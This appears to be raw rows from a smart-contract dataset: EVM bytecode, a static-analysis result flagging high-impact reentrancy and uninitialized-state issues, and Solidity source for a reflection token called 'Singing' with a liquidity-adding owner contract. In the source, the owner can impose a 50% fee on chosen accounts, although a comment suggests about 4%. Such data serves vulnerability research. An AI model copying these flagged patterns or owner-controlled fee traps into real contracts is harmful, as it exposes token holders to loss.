fffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c064f964e68233a76f520000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea2646970667358221220e2595a4df712e2e99515ca59eab793b671d836c96a17a56d17f5d0fe5e2fda6264736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,451 |
0xc368e98ff0e0483954904cbf52d5075c839ea3c5 | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
contract Singing {
mapping (address => uint256) internal _rOwned;
mapping (address => uint256) internal _tOwned;
mapping (address => mapping (address => uint256)) public allowance;
mapping(address => bool) public isTaxedAsSender;
mapping(address => bool) public isTaxedAsRecipient;
mapping (address => bool) public isExcluded;
address[] internal _excluded;
string public constant name = "Singing";
string public constant symbol = "SING";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 1_000_000_000 * (10 ** decimals);
uint256 internal _rTotal = (type(uint256).max - (type(uint256).max % totalSupply));
uint256 internal _tFeeTotal;
uint256 constant internal _reflectBasisPoints = 5000; // 0.01% = 1 basis point, 4.00% = 400 basis points
uint256 internal reflectDisabledBlock;
address public owner;
address public pendingOwner;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed account, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor () {
owner = msg.sender;
_rOwned[msg.sender] = _rTotal;
emit Transfer(address(0), msg.sender, totalSupply);
}
modifier isOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
function balanceOf(address account) external view returns (uint256) {
return isExcluded[account] ? _tOwned[account] : tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, allowance[sender][msg.sender] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender] - subtractedValue);
return true;
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) external {
require(!isExcluded[msg.sender], "IS_EXCLUDED");
(uint256 rAmount,,,,) = _getValues(address(0), address(0), tAmount);
_rOwned[msg.sender] -= rAmount;
_rTotal -= rAmount;
_tFeeTotal += tAmount;
}
function reflectionFromToken(address sender, address recipient, uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= totalSupply, "AMOUNT_>_SUPPLY");
(uint256 rAmount,uint256 rTransferAmount,,,) = _getValues(sender, recipient, tAmount);
return deductTransferFee ? rTransferAmount : rAmount;
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "AMOUNT_>_TOTAL_REFLECTIONS");
return rAmount / _getRate();
}
function setSenderTaxed(address account, bool taxed) external isOwner {
// by default, all senders are not taxed
isTaxedAsSender[account] = taxed;
}
function setRecipientTaxed(address account, bool taxed) external isOwner {
// by default, all recipients are not taxed
isTaxedAsRecipient[account] = taxed;
}
function excludeAccountFromRewards(address account) external isOwner {
require(!isExcluded[account], "IS_EXCLUDED");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
isExcluded[account] = true;
_excluded.push(account);
}
function includeAccountFromRewards(address account) external isOwner {
require(isExcluded[account], "IS_INCLUDED");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address account, address spender, uint256 amount) internal {
allowance[account][spender] = amount;
emit Approval(account, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(amount > 0, "INVALID_AMOUNT");
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(sender, recipient, amount);
_rOwned[sender] -= rAmount;
_rOwned[recipient] += rTransferAmount;
if (isExcluded[sender] && !isExcluded[recipient]) {
_tOwned[sender] -= amount;
} else if (!isExcluded[sender] && isExcluded[recipient]) {
_tOwned[recipient] += tTransferAmount;
} else if (isExcluded[sender] && isExcluded[recipient]) {
_tOwned[sender] -= amount;
_tOwned[recipient] += tTransferAmount;
}
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) internal {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getValues(address sender, address recipient, uint256 tAmount) internal view returns (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) {
(tTransferAmount, tFee) = _getTValues(sender, recipient, tAmount);
(rAmount, rTransferAmount, rFee) = _getRValues(tAmount, tFee, _getRate());
}
function _getTValues(address sender, address recipient, uint256 tAmount) internal view returns (uint256 tTransferAmount, uint256 tFee) {
tFee = (block.number != reflectDisabledBlock) && (isTaxedAsSender[sender] || isTaxedAsRecipient[recipient])
? (tAmount * _reflectBasisPoints) / 10_000
: 0;
tTransferAmount = tAmount - tFee;
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) internal pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) {
rAmount = tAmount * currentRate;
rFee = tFee * currentRate;
rTransferAmount = rAmount - rFee;
}
function _getRate() internal view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function _getCurrentSupply() internal view returns (uint256 rSupply, uint256 tSupply) {
rSupply = _rTotal;
tSupply = totalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, totalSupply);
rSupply -= _rOwned[_excluded[i]];
tSupply -= _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / totalSupply)) {
(rSupply, tSupply) = (_rTotal, totalSupply);
}
}
function changeOwner(address newOwner) external isOwner {
pendingOwner = newOwner;
}
function acceptOwnership() external {
require(msg.sender == pendingOwner, "NOT_PENDING_OWNER");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
pendingOwner = address(0);
}
function disableReflectionForCurrentBlock() external isOwner {
reflectDisabledBlock = block.number;
}
function resetReflectDisabledBlock() external isOwner {
reflectDisabledBlock = 0;
}
}
interface UniswapRouterV202 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
}
interface UniswapPairV2 {
function balanceOf(address owner) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
}
contract SingingOwner {
Singing immutable public token;
address public owner;
address public pendingOwner;
UniswapRouterV202 public router;
UniswapPairV2 public pair;
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor (address tokenAddress, address routerAddress, address pairAddress) {
owner = msg.sender;
token = Singing(tokenAddress);
router = UniswapRouterV202(routerAddress);
pair = UniswapPairV2(pairAddress);
}
modifier isOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
function changeOwner(address newOwner) external isOwner {
pendingOwner = newOwner;
}
function acceptOwner() external {
require(msg.sender == pendingOwner, "NOT_PENDING_OWNER");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
pendingOwner = address(0);
}
function changeOwnerOfToken(address newOwner) external isOwner {
token.changeOwner(newOwner);
}
function acceptOwnershipOfToken() external isOwner {
token.acceptOwnership();
}
function setSenderTaxed(address account, bool taxed) external isOwner {
token.setSenderTaxed(account, taxed);
}
function setRecipientTaxed(address account, bool taxed) external isOwner {
token.setRecipientTaxed(account, taxed);
}
function setAccountGetsRewards(address account, bool getsRewards) external isOwner {
getsRewards ? token.includeAccountFromRewards(account) : token.excludeAccountFromRewards(account);
}
function addLiquidityETH(
address tokenAddress,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity) {
require(tokenAddress == address(token), "NOT_TOKEN");
// Turn off tax for this block
token.disableReflectionForCurrentBlock();
// Transfer token from caller to this
token.transferFrom(msg.sender, address(this), amountTokenDesired);
// Approve Router on the amount of token
token.approve(address(router), amountTokenDesired);
// Perform the liquidity add
(amountToken, amountETH, liquidity) = router.addLiquidityETH{value: msg.value}(tokenAddress, amountTokenDesired, amountTokenMin, amountETHMin, to, deadline);
uint256 leftOver = token.balanceOf(address(this));
if (leftOver > 0) {
// Transfer leftover ETH or tokens to the caller
token.transfer(msg.sender, leftOver);
}
leftOver = address(this).balance;
if (leftOver > 0) {
payable(msg.sender).transfer(leftOver);
}
// Turn on tax for this block
token.resetReflectDisabledBlock();
}
function setRouterAndPair(address routerAddress, address pairAddress) external isOwner {
router = UniswapRouterV202(routerAddress);
pair = UniswapPairV2(pairAddress);
}
receive() external payable {}
} | 0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80638220e8ce116100f9578063b2f3d11c11610097578063dd62ed3e11610071578063dd62ed3e14610447578063de233fee14610472578063e30c397814610485578063eeb396bf146104a557600080fd5b8063b2f3d11c146103fe578063cba0e99614610411578063d724bb4e1461043457600080fd5b806395d89b41116100d357806395d89b4114610389578063a457c2d7146103c5578063a6f9dae1146103d8578063a9059cbb146103eb57600080fd5b80638220e8ce14610329578063830bb90a1461033c5780638da5cb5b1461034457600080fd5b806329b2384211610166578063395093511161014057806339509351146102d85780633e3ac43e146102eb57806370a082311461030e57806379ba50971461032157600080fd5b806329b23842146102a35780632d838119146102ab578063313ce567146102be57600080fd5b806313114a9d116101a257806313114a9d1461025357806318160ddd1461026557806323b872dd1461026d57806325546d381461028057600080fd5b8063053ab182146101c957806306fdde03146101de578063095ea7b314610230575b600080fd5b6101dc6101d7366004611c27565b6104b8565b005b61021a6040518060400160405280600781526020017f53696e67696e670000000000000000000000000000000000000000000000000081525081565b6040516102279190611c3f565b60405180910390f35b61024361023e366004611bfe565b6105a9565b6040519015158152602001610227565b6008545b604051908152602001610227565b6102576105c0565b61024361027b366004611b4e565b6105dd565b61024361028e366004611afb565b60036020526000908152604090205460ff1681565b6101dc61063c565b6102576102b9366004611c27565b6106c3565b6102c6601281565b60405160ff9091168152602001610227565b6102436102e6366004611bfe565b610743565b6102436102f9366004611afb565b60046020526000908152604090205460ff1681565b61025761031c366004611afb565b610787565b6101dc610811565b6101dc610337366004611afb565b61090f565b6101dc610c80565b600a546103649073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610227565b61021a6040518060400160405280600481526020017f53494e470000000000000000000000000000000000000000000000000000000081525081565b6102436103d3366004611bfe565b610d08565b6101dc6103e6366004611afb565b610d4c565b6102436103f9366004611bfe565b610e14565b6101dc61040c366004611afb565b610e21565b61024361041f366004611afb565b60056020526000908152604090205460ff1681565b6101dc610442366004611bd5565b61105c565b610257610455366004611b1c565b600260209081526000928352604080842090915290825290205481565b6101dc610480366004611bd5565b611133565b600b546103649073ffffffffffffffffffffffffffffffffffffffff1681565b6102576104b3366004611b89565b61120a565b3360009081526005602052604090205460ff1615610537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f49535f4558434c5544454400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b6000610545600080846112bc565b50503360009081526020819052604081208054949550859490935090915061056e908490611e68565b9250508190555080600760008282546105879190611e68565b9250508190555081600860008282546105a09190611cb0565b90915550505050565b60006105b63384846112f8565b5060015b92915050565b6105cc6012600a611d62565b6105da90633b9aca00611e2b565b81565b60006105ea848484611366565b73ffffffffffffffffffffffffffffffffffffffff841660009081526002602090815260408083203380855292529091205461063291869161062d908690611e68565b6112f8565b5060019392505050565b600a5473ffffffffffffffffffffffffffffffffffffffff1633146106bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b43600955565b6000600754821115610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f414d4f554e545f3e5f544f54414c5f5245464c454354494f4e53000000000000604482015260640161052e565b6107396116fe565b6105ba9083611cc8565b33600081815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916105b691859061062d908690611cb0565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604081205460ff166107e85773ffffffffffffffffffffffffffffffffffffffff82166000908152602081905260409020546107e3906106c3565b6105ba565b5073ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205490565b600b5473ffffffffffffffffffffffffffffffffffffffff163314610892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f4e4f545f50454e44494e475f4f574e4552000000000000000000000000000000604482015260640161052e565b600a54604051339173ffffffffffffffffffffffffffffffffffffffff16907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600b80549091169055565b600a5473ffffffffffffffffffffffffffffffffffffffff163314610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604090205460ff16610a1f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f49535f494e434c55444544000000000000000000000000000000000000000000604482015260640161052e565b60005b600654811015610c7c578173ffffffffffffffffffffffffffffffffffffffff1660068281548110610a7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff161415610c6a5760068054610ab590600190611e68565b81548110610aec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602090912001546006805473ffffffffffffffffffffffffffffffffffffffff9092169183908110610b4c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff948516179055918416815260018252604080822082905560059092522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556006805480610c0e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690550190555050565b80610c7481611e7f565b915050610a22565b5050565b600a5473ffffffffffffffffffffffffffffffffffffffff163314610d01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b6000600955565b33600081815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916105b691859061062d908690611e68565b600a5473ffffffffffffffffffffffffffffffffffffffff163314610dcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b600b80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60006105b6338484611366565b600a5473ffffffffffffffffffffffffffffffffffffffff163314610ea2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604090205460ff1615610f32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f49535f4558434c55444544000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff811660009081526020819052604090205415610fb35773ffffffffffffffffffffffffffffffffffffffff8116600090815260208190526040902054610f8c906106c3565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020555b73ffffffffffffffffffffffffffffffffffffffff16600081815260056020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169091179055565b600a5473ffffffffffffffff